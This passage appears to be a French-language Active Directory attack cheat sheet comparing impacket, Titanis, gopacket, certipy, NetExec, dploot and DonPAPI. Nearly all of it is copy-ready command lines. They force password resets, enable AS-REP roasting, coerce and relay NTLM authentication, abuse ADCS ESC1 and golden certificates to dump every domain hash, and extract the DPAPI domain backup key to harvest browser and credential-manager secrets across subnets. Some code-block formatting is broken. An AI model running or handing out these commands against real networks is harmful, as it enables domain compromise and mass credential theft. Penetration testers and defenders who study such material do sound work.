# Titanis — post-exploitation after ACE grant (force password reset)
Kerb setpw -UserName jdoe -UserDomain DOMAIN -Kdc 192.168.1.1 -Password jdoePass \
  targetuser@DOMAIN NewPass123

↑ Retour à l'index


Modification des attributs utilisateur (UAC Bitflags)```bash

impacket — enable / disable an account (net.py covers these two UAC bits directly)

net.py DOMAIN/admin:[email protected] user -enable targetuser net.py DOMAIN/admin:[email protected] user -disable targetuser

bloodyAD — add UAC flag (enable AS-REP roasting)

bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123
add uac targetuser -f DONT_REQ_PREAUTH

bloodyAD — remove UAC flag (re-enable account)

bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123
remove uac targetuser -f ACCOUNTDISABLE

Titanis

Ldap moduser 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123
targetuser userAccountControl+=4194304

gopacket — enable / disable an account

net DOMAIN/admin:[email protected] user -enable targetuser net DOMAIN/admin:[email protected] user -disable targetuser

gopacket — pass-the-hash

net -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] user -enable targetuser

root@kitploit:~
[↑ Retour à l'index](#index)

---

## 7. Coercition d'authentification

> Associez l'étape de coercition à `ntlmrelayx` ou Responder pour l'étape de relais. Titanis `credcoerce` couvre uniquement MS-EFSR.```bash
# MS-EFSR — single technique
CredCoerce 192.168.1.10 \\<listener-ip>\share \
  -UserName jdoe -UserDomain DOMAIN -Password Password123 -Techniques Efs.OpenFile

# MS-EFSR — multiple techniques
CredCoerce 192.168.1.10 \\<listener-ip>\share \
  -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  -Techniques Efs.OpenFile,Efs.EncryptFile,Efs.DecryptFile,\
  Efs.QueryUsersOnFile,Efs.QueryRecoveryAgents,Efs.FileKeyInfo,\
  Efs.DuplicateEncryptionInfoFile

# MS-RPRN (PrinterBug) — no Titanis equivalent
printerbug.py DOMAIN/jdoe:[email protected] <listener-ip>

# NetExec — coerce_plus covers all methods (PetitPotam, PrinterBug, DFSCoerce, ShadowCoerce, MSEven)
netexec smb 192.168.1.10 -u jdoe -p Password123 -M coerce_plus -o LISTENER=<listener-ip>
netexec smb 192.168.1.10 -u jdoe -p Password123 -M coerce_plus -o LISTENER=<listener-ip> METHOD=PrinterBug
netexec smb 192.168.1.10 -u jdoe -p Password123 -M coerce_plus -o LISTENER=<listener-ip> METHOD=PetitPotam

# MS-DFSNM (DFSCoerce) — no Titanis equivalent
python3 dfscoerce.py -d DOMAIN -u jdoe -p Password123 <listener-ip> 192.168.1.10

# MS-FSRVP (ShadowCoerce) — no Titanis equivalent
python3 shadowcoerce.py -d DOMAIN -u jdoe -p Password123 <listener-ip> 192.168.1.10

↑ Retour à l'index


Coerce + Relay Pattern```bash

Terminal 1 — relay listener (SMB)

ntlmrelayx.py -tf targets.txt -smb2support

Terminal 1 — relay to LDAP for RBCD / shadow credentials

ntlmrelayx.py -t ldaps://192.168.1.1 --delegate-access --escalate-user jdoe

Terminal 2 — trigger coercion

CredCoerce 192.168.1.10 \\share
-UserName jdoe -UserDomain DOMAIN -Password Password123 -Techniques Efs.OpenFile

root@kitploit:~
[↑ Retour à l'index](#index)

---

## 8. Certificats

> **Statut de gopacket :** Aucun outil ADCS. Utilisez certipy, Titanis `Cert` ou impacket pour toutes les opérations de certificat.

### Génération de PFX auto-signé```bash
# certipy — Golden Certificate from compromised CA key (requires -ca-pfx)
# Note: certipy forge cannot produce a self-signed cert without the CA private key;
#       for Shadow Credentials use certipy shadow or impacket's pyWhisker instead

# certipy — Golden Certificate from compromised CA key
certipy forge -upn Administrator@DOMAIN -ca-pfx ca.pfx -out admin.pfx

# openssl — generic PKI (not trusted by AD for PKINIT without NTAuth enrollment)
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes \
  -subj "/CN=jdoe"
openssl pkcs12 -export -out jdoe.pfx -inkey key.pem -in cert.pem -passout pass:Password123

# Titanis — works in interactive sessions (RDP/console); may fail in non-interactive sessions
Cert selfcert -Subject CN=jdoe -PfxFileName jdoe.pfx

↑ Retour à l'index


Énumération des modèles de certificats ADCS```bash

certipy — includes ESC1–ESC8 vulnerability analysis

certipy find -dc-ip 192.168.1.1 -u jdoe@DOMAIN -p Password123 -vulnerable -stdout

certipy — pass-the-hash

certipy find -dc-ip 192.168.1.1 -u jdoe@DOMAIN -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -vulnerable -stdout

NetExec

netexec ldap 192.168.1.1 -u jdoe -p Password123 -M adcs

msldap — raw template list

msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"

msldap> certify

msldap> certtemplates

Titanis — enumerate certificate templates

Note: Ldap search is broken on Linux (ignores -SearchBase, always queries RootDSE → no results)

Use ldapsearch below for Linux; Ldap search works on Windows

Windows only:

Ldap search 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \

-SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local" \

"(objectClass=pKICertificateTemplate)" \

-OutputFields displayName,msPKI-Certificate-Name-Flag,msPKI-Enrollment-Flag,pKIExtendedKeyUsage

Titanis — enumerate Enterprise CAs (Windows only — same Ldap search limitation on Linux)

Ldap search 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \

-SearchBase "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local" \

"(objectClass=pKIEnrollmentService)" \

-OutputFields displayName,dNSHostName,certificateTemplates

ldapsearch

ldapsearch -H ldap://192.168.1.1 -D "CN=jdoe,CN=Users,DC=domain,DC=local" -w Password123
-b "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local"
"(objectClass=pKICertificateTemplate)" displayName msPKI-Certificate-Name-Flag

root@kitploit:~
[↑ Retour à l’index](#index)

---

### ADCS ESC1 — Inscrire et récupérer le NT Hash```bash
# Step 1 — enumerate vulnerable templates
certipy find -dc-ip 192.168.1.1 -u jdoe@DOMAIN -p Password123 -vulnerable -stdout

# Step 2a — request certificate with arbitrary UPN (certipy, HTTP/RPC enrollment)
certipy req -username jdoe@DOMAIN -password Password123 \
  -ca CA-NAME -template VulnerableTemplate \
  -upn [email protected] \
  -target ca.domain.local -out admin

# Step 2b — request certificate via SMB (aiosmb asmbcertreq — works when HTTP enrollment is firewalled)
asmbcertreq "smb+ntlm-password://DOMAIN\jdoe:[email protected]" \
  -ca "CA-NAME" -template "VulnerableTemplate" -upn "[email protected]" -out admin.pfx

# aiosmb — pass-the-hash
asmbcertreq "smb+ntlm-nt://DOMAIN\jdoe:[email protected]" \
  -ca "CA-NAME" -template "VulnerableTemplate" -upn "[email protected]" -out admin.pfx

# Step 3a — certipy: recover NT hash + TGT
certipy auth -pfx admin.pfx -dc-ip 192.168.1.1 -domain DOMAIN.LOCAL

# Step 3b — minikerberos: recover NT hash only
minikerberos-getNTPKInit \
  "kerberos+pfx://DOMAIN\Administrator:@192.168.1.1?pfx=admin.pfx" admin_nt.txt

# Step 4 — Titanis PTH with recovered hash (use IP for Wmi exec; FQDNs fail at WMI DCOM activation)
Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -NtlmHash <recovered_nt> "whoami"
Smb2Client ls \\dc01.domain.local\C$ -UserName Administrator -UserDomain DOMAIN \
  -NtlmHash <recovered_nt>
Reg dumpsam 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -NtlmHash <recovered_nt> -BackupSemantics

↑ Retour à l'index


9. Récolte exotique d'identifiants

Des techniques qui produisent une couverture d'identifiants équivalente à un dump NTDS mais contournent entièrement les mécanismes standard (DRSUAPI, VSS, accès aux fichiers NTDS). Utiles lorsque DCSync est bloqué, que VSS est surveillé, ou que l'accès de niveau DA est indisponible mais que des chemins de confiance ADCS ou DPAPI existent.


certsync — Golden Cert + UnPAC the Hash

Extrait les hashs NT de chaque utilisateur du domaine sans accès DRSUAPI, VSS ou fichiers NTDS. Nécessite des droits d'administrateur de l'AC (ou un certificat AC exporté + clé privée) et un PKINIT fonctionnel. Flux de travail : énumérer les utilisateurs depuis LDAP → extraire le certificat/clé de l'AC → forger un certificat par utilisateur → UnPAC the hash via PKINIT pour chacun. Produit une sortie au format secretsdump. Pas plus lent que DCSync en pratique.```bash

certsync — password auth (auto-discovers CA from LDAP)

certsync -u jdoe -p Password123 -d DOMAIN.LOCAL -dc-ip 192.168.1.1 -ns 192.168.1.1

certsync — pass-the-hash

certsync -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5
-u Administrator -d DOMAIN.LOCAL -dc-ip 192.168.1.1 -ns 192.168.1.1

certsync — Kerberos (ccache)

export KRB5CCNAME=admin.ccache certsync -k -no-pass -u Administrator -d DOMAIN.LOCAL
-dc-ip 192.168.1.1 -ns 192.168.1.1

certsync — supply existing CA cert + key (skip CA backup step; quieter)

certsync -ca-pfx ca.pfx -u jdoe -p Password123
-d DOMAIN.LOCAL -dc-ip 192.168.1.1 -ns 192.168.1.1

certsync — OPSEC: jitter, randomized per-user certs, custom LDAP filter

certsync -u jdoe -p Password123 -d DOMAIN.LOCAL -dc-ip 192.168.1.1
-ns 192.168.1.1 -timeout 2 -jitter 1 -randomize
-ldap-filter "(&(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))"

certsync — output to file

certsync -u jdoe -p Password123 -d DOMAIN.LOCAL -dc-ip 192.168.1.1
-ns 192.168.1.1 -outputfile domain_hashes

Feed recovered hashes into Titanis PTH flows (use IP for Wmi exec; FQDNs fail at WMI DCOM activation)

Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN
-NtlmHash <recovered_nt> "whoami" Smb2Client ls \dc01.domain.local\C$ -UserName Administrator -UserDomain DOMAIN
-NtlmHash <recovered_nt>

root@kitploit:~
[↑ Back to Index](#index)

---

### Clé de sauvegarde de domaine DPAPI — Déchiffrement massif des informations d'identification

> La clé de sauvegarde de domaine DPAPI est un secret à l'échelle du domaine conservé sur les contrôleurs de domaine, qui déchiffre la clé maîtresse DPAPI de chaque utilisateur — et donc chaque blob protégé par DPAPI dans le domaine : mots de passe Chrome/Edge/Firefox, Gestionnaire d'informations d'identification Windows, certificats, clés Wi-Fi, comptes NAA SCCM, informations d'identification des tâches planifiées, et plus encore. L'extraction de cette clé nécessite des droits DA, mais une fois obtenue, la clé est valide en permanence, sauf rotation explicite. Elle offre une couverture d'informations d'identification comparable à celle de NTDS pour les secrets stockés dans des blobs DPAPI, et est souvent plus riche pour le mouvement latéral car elle fournit des mots de passe en clair plutôt que des hachages.```bash
# Step 1 — dump the domain backup key (impacket)
dpapi.py backupkeys -t DOMAIN/Administrator:[email protected] --export
# Writes domain_backup.pvk to current directory

# Step 1 — impacket pass-the-hash
dpapi.py backupkeys -t DOMAIN/[email protected] --export \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5

# Step 1 — gopacket (subcommand syntax: positional target after subcommand)
dpapi backupkeys 'DOMAIN/Administrator:[email protected]' --export
# gopacket — pass-the-hash
dpapi backupkeys 'DOMAIN/[email protected]' --export \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5

# Step 1 — dump the domain backup key (NetExec; fetches automatically during --dpapi)
netexec smb 192.168.1.1 -u Administrator -p Password123 --dpapi

# Step 2a — dploot: decrypt master keys for all domain users using backup key
dploot masterkeys -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.1 --pvk domain_backup.pvk -outputfile masterkeys.txt

# Step 2b — dploot: decrypt all credential manager blobs across domain
dploot credentials -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.1 --pvk domain_backup.pvk

# Step 2c — dploot: decrypt browser-stored passwords (Chrome, Edge, Firefox)
dploot browser -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.1 --pvk domain_backup.pvk

# Step 2d — dploot: full triage (masterkeys + credentials + certificates + vaults)
dploot triage -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.1 --pvk domain_backup.pvk

# Step 2e — dploot: SCCM NAA credentials and collection variables
dploot sccm -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.1 --pvk domain_backup.pvk

# Step 2f — dploot: machine (SYSTEM scope) DPAPI secrets
dploot machinetriage -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.1

# dploot — pass-the-hash
dploot triage -d DOMAIN -u Administrator \
  -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -t 192.168.1.1 --pvk domain_backup.pvk

# NetExec — DPAPI dump across subnet (fetches backup key automatically)
netexec smb 192.168.1.0/24 -u Administrator -p Password123 --dpapi
netexec smb 192.168.1.0/24 -u Administrator -p Password123 --dpapi cookies
netexec smb 192.168.1.0/24 -u Administrator -p Password123 --dpapi nosystem

# DonPAPI — comprehensive remote DPAPI harvest across subnet in one pass
# (auto-fetches backup key, decrypts masterkeys, dumps all DPAPI-protected secrets)
DonPAPI collect -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.0/24 --fetch-pvk

# DonPAPI — supply existing backup key (quieter; avoids re-dumping from DC)
DonPAPI collect -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.0/24 --pvkfile domain_backup.pvk

# DonPAPI — targeted collectors only
DonPAPI collect -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.0/24 --collectors SCCM,Certificates,Wifi,CredMan

↑ Retour à l’index


Télécharger l’outil
smbclient.py list_snapshots
  • Flux de données alternatifs NTFS
  • Énumération des NIC du serveur
  • Énumération en masse des partages · smbclient.py
  • secretsdump.py -use-keylist
  • Analyse NTDS hors ligne · secretsdump.py
  • DCSync · secretsdump.py · Dsrep rep
  • Gestion des privilèges LSA
  • Énumération des privilèges et comptes LSA
  • ScénarioimpacketgopacketTitanisminikerberos URLmsldap URLMetasploitaiosmb URL
    Mot de passeDOMAIN/user:Pass@hostDOMAIN/user:Pass@host-UserName user -UserDomain DOMAIN -Password Passkerberos+password://DOMAIN\user:Pass@kdcldap+ntlm-password://DOMAIN\user:Pass@dcSMBDomain DOMAIN SMBUser user SMBPass Passsmb+ntlm-password://DOMAIN\user:Pass@host
    Pass-the-Hash-hashes :NTLM-hashes :NTLM DOMAIN/user@host-NtlmHash <NTLM>kerberos+ntlm-nt://DOMAIN\user:NTLM@kdcldap+ntlm-nt://DOMAIN\user:NTLM@dcSMBPass aad3b435b51404eeaad3b435b51404ee:NTLMsmb+ntlm-nt://DOMAIN\user:NTLM@host
    Clé AES-aesKey <hex>-aesKey <hex>-AesKey <hex>kerberos+aes://DOMAIN\user:hex@kdcldap+kerberos+aes://.../?dc=ipAESKEY <hex>smb+kerberos+aes://DOMAIN\user:hex@host/?dc=ip
    Clé RC4via -hashesvia -hashes :NTLM-NtlmHashkerberos+rc4://DOMAIN\user:NTLM@kdcldap+kerberos+rc4://.../?dc=ipNTHASH <NTLM>smb+kerberos+rc4://DOMAIN\user:NTLM@host/?dc=ip
    ccacheKRB5CCNAME=file.ccacheKRB5CCNAME=f.ccache -k -no-pass DOMAIN/user@host-TicketCache file.ccachekerberos+ccache://...?ccache=f.ccacheldap+kerberos+ccache://.../?dc=ip&ccache=f.ccacheKrbUseCachedCredentials truesmb+kerberos+ccache://DOMAIN\user:@host/?dc=ip&ccache=f.ccache
    Ticket kirbiconvertir d'abordticketConverter file.kirbi file.ccache d'abord-Ticket file.kirbiminikerberos-kirbi2ccache d'abordconvertir d'abordauxiliary/admin/kerberos/ticket_converterconvertir en ccache d'abord
    PKINIT / PFXcertipy / gettgtpkinit——kerberos+pfx://...?pfx=f.pfx&pfxpass=Pldap+kerberos+pfx://.../?dc=ip&pfx=f.pfx—smb+kerberos+pfx://DOMAIN\user:@host/?dc=ip&pfx=f.pfx&pfxpass=P
    NEGOEX / PFX———n/an/a—smb+negoex-pfx://cert.pfx:certpass@host/
    SOCKS5préfixe proxychainspréfixe proxychains (cgo natif ; aucune solution de contournement GOFLAGS nécessaire)-Socks5 host:portn/a?proxytype=socks5&proxyhost=...&proxyport=...set Proxies socks5:127.0.0.1:1080?proxyhost=127.0.0.1&proxyport=1080
    SOCKS4n/an/an/an/an/an/a?proxytype=socks4&proxyhost=127.0.0.1&proxyport=1080
    Chiffrer RPCn/an/a-EncryptRpcn/an/aautomatiquen/a (la signature SMB est négociée automatiquement)
    Sémantique de sauvegarden/an/a-BackupSemantics (Reg) / -UseBackupSemantics (Smb2Client)n/an/an/an/a
    Liaison anonymelimité—non documentén/aldap://192.168.1.1n/an/a
    QUIC (Azure)n/an/an/an/an/an/asmb+quic+ntlm-password://DOMAIN\user:Pass@host
    Port LDAP(LDAP direct)-port 389 requis (le port 445 par défaut casse les outils LDAP)(LDAP direct)(port de l'URL)(port de l'URL)——